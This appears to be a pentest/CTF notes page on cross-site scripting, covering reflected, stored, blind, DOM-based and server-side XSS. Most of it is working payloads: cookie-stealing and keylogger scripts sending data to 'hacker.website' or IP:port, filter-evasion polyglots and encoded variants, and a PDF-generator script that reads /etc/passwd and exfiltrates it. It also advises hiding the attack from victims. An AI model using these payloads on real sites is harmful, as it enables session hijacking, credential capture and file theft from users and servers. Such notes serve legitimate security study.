Cross-site Scripting (XSS)

xssgi xss howwebsiteswork introductiontowebapplications cross_site_scripting xss_injection xss_filter_evasion dom_based_xss_prevention xss_stored_1 xss_server_side

Cross-site Scripting, most commonly called XSS, refers to injecting malicious JavaScript in a web application for it to be executed by other users. For instance, instead of a username, you could use:

<script>alert('XSS')</script>

And, if the website isn't protected, then anyone consulting your profile will run the script alert('XSS') and will see an alert.

⚠️ When using XSS, you want to hide that you executed some XSS in someone's browser. So, you should ensure that no one sees anything suspicious. For instance, add a username before the XSS.

Common attack vectors

  • πŸ“š Headers (mostly User-Agent)
  • πŸ“„ Forms
  • πŸͺ Cookies

Common mitigations to XSS attacks are:

  • πŸ›‘ Content-Security-Policy (CSP) header + secure cookies
  • πŸ›‘οΈ Input sanitization (htmlentities/addslashes in PHP)
  • πŸ”Ž Input filtering (strip_tags in PHP)
  • πŸ”₯ Web Application Firewall (WAF)

πŸ’‘ XSS may be called HTML Injection when using an HTML payload.


XSS Attacks

xssgi xss cross_site_scripting

Reflected XSS

XSS is reflected when the injected payload is shown on the vulnerable webpage after being rendered by the web server.

πŸ—ΊοΈ The payload is usually inside the URL. For instance, given the URL: https://example.com/vuln.php?q=payload that render payload when loaded. We could exploit it using:

https://example.com/vuln.php/?q=%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E

🍷 Users clicking on the link will execute our payload.


Stored XSS

xss_stored_1 xss_server_side

The payload is injected and stored on the server, mostly in a database. At some point, it may be executed by a vulnerable web page.

πŸ—ΊοΈ Comments, profiles, listings... may be vulnerable.

🍷 For instance, assuming we use the username <script>alert('XSS');</script>, if the profile page is vulnerable, this code will be executed when the server renders our username.

Blind XSS

XSS is said to be blind or out-band when we are sending a payload without prior knowledge of where it will be executed.

πŸ—ΊοΈ Feedback, contact, or support forms. We are targeting the administrators by testing if a contact chanel is vulnerable to any XSS.

🍷 For instance, we include images in each parameter such as <img src="IP:PORT/username"> for username. If we receive a request to /xxx on our grabber, then the payload worked for parameter xxx. Otherwise, we try another payload.

Refer to HTTP Requests Grabber to catch the response during CTFs.


DOM-based XSS

introductiontowebapplications

DOM-based XSS occur without the server being aware of them. The client-side JavaScript is the one rendering the payload. For instance, when we use xxx.innerHTML or document.write (referred to as "a sinker").

πŸ—ΊοΈ Mostly, javascript-based applications.

🍷 If an application parsing anchors URL#xxx and displays a message, it may be exploited with payloads like <img src="" onerror=print()>. Most functions don't allow the script tag.


XSS payloads

xssgi xss cross_site_scripting

CaseHTMLPayload
PoC<p>here</p><script>alert('XSS')</script>
PoC<p>here</p><script>console.log('XSS')</script>
PoC<p>here</p><script>print()</script>
PoC<p>here</p><plaintext>
Boxed attribute<input value="here">">MaliciousCodeHere
Unboxed attribute<input value=here>>MaliciousCodeHere
Wrapped<textarea>here</textarea></textarea>MaliciousCodeHere
JavaScriptxxx.innerHTML = 'here';';MaliciousCodeHere;//
Boxed Image<img src="here" alt="xxx"/>URL" onload="maliciousCodeHere"
Boxed Image<img src="here" alt="xxx"/>URL" onerror="maliciousCodeHere"

πŸ“š Use window.origin when dealing with an iframe.


XSS 'malicious code'

xssgi xss

Common "malicious code" used in PoC payloads are

  • alert(...): show an alert with a message
  • console.log(...): print a message in the console

Real examples of malicious code can be found at XSS-payloads.

Session hijacking/Cookie Stealing

cross_site_scripting xss_stored_1

Anyone executing this script will send their cookie to a malicious website owned by the hacker used to capture cookies. The script is using btoa() to encode in base64 the values. Sessions cookies are gold πŸ’°, because with them, we can bypass verifications such as 2FA and access someone else account of insecure webservers.

<script>fetch('https://hacker.website/hijack?cookie=' + btoa(document.cookie));</script>
<script>fetch('http://IP:port/?cookie=' + btoa(document.cookie));</script>

Refer to HTTP Requests Grabber to catch the response during CTFs.

Keylogger

Sends keys pressed to the hacker website. The script is using btoa() to encode in base64 the values.

<script>
    let keys = ''
    document.onkeydown = e => keys += e.key
    setInterval(() => {
        if (keys === '') return
        fetch('https://hacker.website/keylogger?key=' + btoa(keys) )
        keys = ''
    }, 1000)
</script>

Other Attacks

  • Defacing websites
  • Injecting a login form to access the original website

XSS filter by-pass

xssgi xss

There are usually a lot done to avoid XSS attacks, but there is also a lot of way to by-pass weak filters.

  • Logic flaw: for instance, a dropdown with a list of countries. A user use XSS. The developer didn't filter the value as they expected a value within the list.

  • Bypass HTML symbols filtering: If <, and > are filtered, an attacker may still use DOM Based XSS.

  • Bypass DOM Based Filtering: if there is a filter removing every attribute such as onload, onmouseover... they could try variants as HTML is case-insensitive.

<img src="" ONERROR="alert('XSS')" />
  • Polygots: these are magic payloads designed to bypass many tags/attributes/filters/... at once.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e

Bypass keywords filtering: most functions to filter something will only process the text once. It means that if the hacker knows that something is filtered, they may create a payload that is only working after being filtered. For instance, assuming there is filter removing "<script>", we can bypass the filter using:

<s<script>cript>alert('XSS');</s<script>cript> // 1. payload
// 2. filter remove "<script>"
<script>alert('XSS');</script> // 3. output

You can also try variants if the filter is case-sensitive

<scIpT>alert('XSS');</scIpT>

Another way of bypassing keyword filtering is using alternate code. For instance, with the function alert, we could do.

<img src="NOT_FOUND" onerror="eval('aler'+'t')('XSS')">
<!-- unicode in HTML with &# -->
<img src="NOT_FOUND" onerror=&#X61;&#X6C;&#X65;&#X72;&#X74;('XSS')>
<!-- unicode with \u -->
<img src="NOT_FOUND" onerror=\u0061lert('XSS')>

XSS Tools βš’οΈ

XSStrike

XSStrike (12.4k ⭐, 2022 ☠️) is a popular XSS tool that is still working as of 2024 while it's not maintained.

$ cd /opt
$ sudo git clone https://github.com/s0md3v/XSStrike.git
$ sudo chmod +x XSStrike/xsstrike.py
$ sudo ln -s /opt/XSStrike/xsstrike.py /usr/local/bin/xsstrike
$ xsstrike -u 'URL?param=vuln'

The tool will process the URL and the parameter to see if any are vulnerable. Press 'Enter' until you find one that works. Carefully read the payload when testing, e.g. 'mouse over,' or stuff like that.

Other tools

There are a lot of them, but they are all abandoned. If seems using web scanners such as Burp, Zaproxy, or Nessus is more common.


Server-Side XSS

server_side_xss_dynamic_pdf xss_server_side

If a website is creating a PDF using user-input, such as using wkhtmltopdf, we may be able to execute JavaScript code.

<script>document.write('poc')</script>
<img src="http://IP:port/img"/>

Refer to HTTP Requests Grabber to catch the response during CTFs.

We can use it to read files such as /etc/passwd:

<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){document.write(this.responseText)};xhzeem.onerror=function(){document.write('failed!')};xhzeem.open("GET","file:///etc/passwd");xhzeem.send();</script>

For Blind Server-Side XSS, we can use:

<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){xhzxfil=new XMLHttpRequest();xhzxfil.open("GET",'http://IP:port/?data='+btoa(this.response),true);xhzxfil.send()};xhzeem.open("GET","file:///etc/passwd",true);xhzeem.send();</script> ;

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • Place to check: forms, headers
  • "><script src=//www.example.com/exploit.js></script>: no http/https?